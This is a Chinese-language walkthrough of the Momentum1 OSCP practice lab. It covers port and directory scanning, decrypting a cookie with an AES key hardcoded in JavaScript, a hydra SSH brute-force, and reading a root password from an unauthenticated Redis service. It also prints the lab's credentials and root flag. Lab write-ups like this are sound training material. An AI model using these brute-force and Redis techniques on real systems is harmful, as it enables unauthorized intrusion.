Momentum1
Momentum1 WriteUp | OSCP 本地靶场实战复盘1 环境说明靶机名称Momentum1靶机 IP192.168.217.174攻击机Kali Linux靶场类型OSCP 本地模拟靶场核心技能点AES 解密、Cookie 分析、SSH 爆破、Redis 未授权访问2 信息收集2.1 端口扫描首先对靶机进行端口扫描发现仅开放22SSH和80HTTP两个端口。# TCP 端口扫描 服务版本探测sudonmap -p22,80-sT-sC-sV192.168.217.174 --min-rate3000Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-24 22:29 0800 Nmap scan report for 192.168.217.174 Host is up (0.00078s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 5c:8e:2c:cc:c1:b0:3e:7c:0e:22:34:d8:60:31:4e:62 (RSA) | 256 81:fd:c6:4c:5a:50:0a:27:ea:83:38:64:b9:8b:bd:c1 (ECDSA) |_ 256 c1:8f:87:c1:52:09:27:60:5f:2e:2d:e0:08:03:72:c8 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Momentum | Index MAC Address: 00:0C:29:53:7C:BA (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel接着使用 Nmap 漏洞脚本做初步探测# 漏洞脚本扫描sudonmap -p22,80--scriptvuln192.168.217.174 --min-rate3000PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-dombased-xss: Couldnt find any DOM based XSS. |_http-stored-xss: Couldnt find any stored XSS vulnerabilities. |_http-csrf: Couldnt find any CSRF vulnerabilities. | http-enum: | /css/: Potentially interesting directory w/ listing on apache/2.4.38 (debian) | /img/: Potentially interesting directory w/ listing on apache/2.4.38 (debian) | /js/: Potentially interesting directory w/ listing on apache/2.4.38 (debian) |_ /manual/: Potentially interesting folder最后补充 UDP 端口扫描未发现额外开放端口# UDP 全端口扫描sudonmap-sU-p- --min-rate4000192.168.217.1742.2 目录扫描使用 Feroxbuster 进行目录爆破重点关注可读目录和静态资源路径# 多扩展名目录扫描feroxbuster-uhttp://192.168.217.174/\-w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt\--limit-bars4--no-state --filter-status404\-xphp,html,txt,pdf,zip,enc,bak-r-d2--insecure扫描结果显示/js/、/css/、/img/三个静态目录均可直接列出其中/js/main.js引起了我的注意。2.3 JS 代码审计访问http://192.168.217.174/js/main.js发现代码中存在 AES 加解密逻辑和硬编码密钥——这是整条攻击链的突破口。踩坑记录一开始我并没有把 Cookie 中的值和 AES 解密关联起来花了大量时间在其他方向上摸索。后来才意识到 Cookie 本身就是 Base64 编码后的 AES 密文思路一转就豁然开朗了。访问首页时注意到浏览器 Cookie 中存储了一段 Base64 编码的字符串利用在线 AES 解密工具CryptoJS AES Encrypt/Decrypt结合main.js中提取的 AES 密钥成功解密 Cookie获得明文密码auxerre-alienum##。2.4 生成密码字典拿到关键密码后使用cewl从靶机网站爬取词频再结合已知密码手工制作一份高质量密码字典# 爬取网站关键词生成密码字典cewl http://192.168.217.174/-d10-v将cewl的输出与已知密码auxerre-alienum##合并并补充大小写变体最终password.txt内容如下# 手工整理的密码字典 auxerre-alienum## auxerre alienum Auxerre Alienum lightbox container hidden Momentum Index Castles fall from inside# 用户名字典以 cewl 关键词 常见组合生成catuser.txt┌──(cat7㉿kali-cat7)-[~/Desktop/Oscp/Momentum]└─$catuser.txt lightbox container hidden with CSS prev next Momentum Index Castles fall from inside auxerre-alienum##auxerre alienum Auxerre Alienum3 漏洞探测与利用3.1 SSH 暴力破解利用上一阶段生成的user.txt和password.txt使用hydra对 SSH 服务进行爆破# SSH 字典爆破hydra-Luser.txt-Ppassword.txt192.168.217.174ssh-vv成功命中凭据auxerre:auxerre-alienum##获得靶机初始立足点。4 权限提升4.1 内部服务发现SSH 登录后首先查看本地监听端口auxerreMomentum:~$ ss-tulnpNetid State Recv-Q Send-Q Local Address:Port Peer Address:Port udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* tcp LISTEN 0 128 127.0.0.1:6379 0.0.0.0:* tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 128 [::1]:6379 [::]:* tcp LISTEN 0 128 *:80 *:* tcp LISTEN 0 128 [::]:22 [::]:*发现127.0.0.1:6379上有 Redis 服务运行仅监听本地回环地址。4.2 Redis 未授权访问尝试直接连接 Redis发现无需密码认证即可登录auxerreMomentum:~$ redis-cli127.0.0.1:6379keys *1)rootpass127.0.0.1:6379GET rootpassm0mentum-al1enum##127.0.0.1:6379exitRedis 中仅有一个键rootpass值为m0mentum-al1enum##——这极有可能是root账户的密码。4.3 提权至 Root切换到root用户auxerreMomentum:~$suroot Password: m0mentum-al1enum##rootMomentum:/home/auxerre# cd /rootrootMomentum:~# lsroot.txt rootMomentum:~# cat root.txt[Momentum - Rooted]--------------------------------------- Flag:658ff660fdac0b079ea78238e5996e40 --------------------------------------- by alienum with ♥ rootMomentum:~#成功拿到 root flag完成提权。5 总结这次打靶的核心突破口在前端 JS 硬编码 AES 密钥Cookie 中的 Base64 字符串本质上就是用该密钥加密的密文。一开始我在这条线索上绕了很久没把 Cookie 和 AES 关联起来直到回头认真审查main.js的代码逻辑才豁然开朗。整个链条非常清晰/js/目录泄露 → 前端源码暴露 AES 密钥 → Cookie 解密拿到密码 → SSH 爆破获得初始立足点 → Redis 未授权读取root密码 → 提权完成。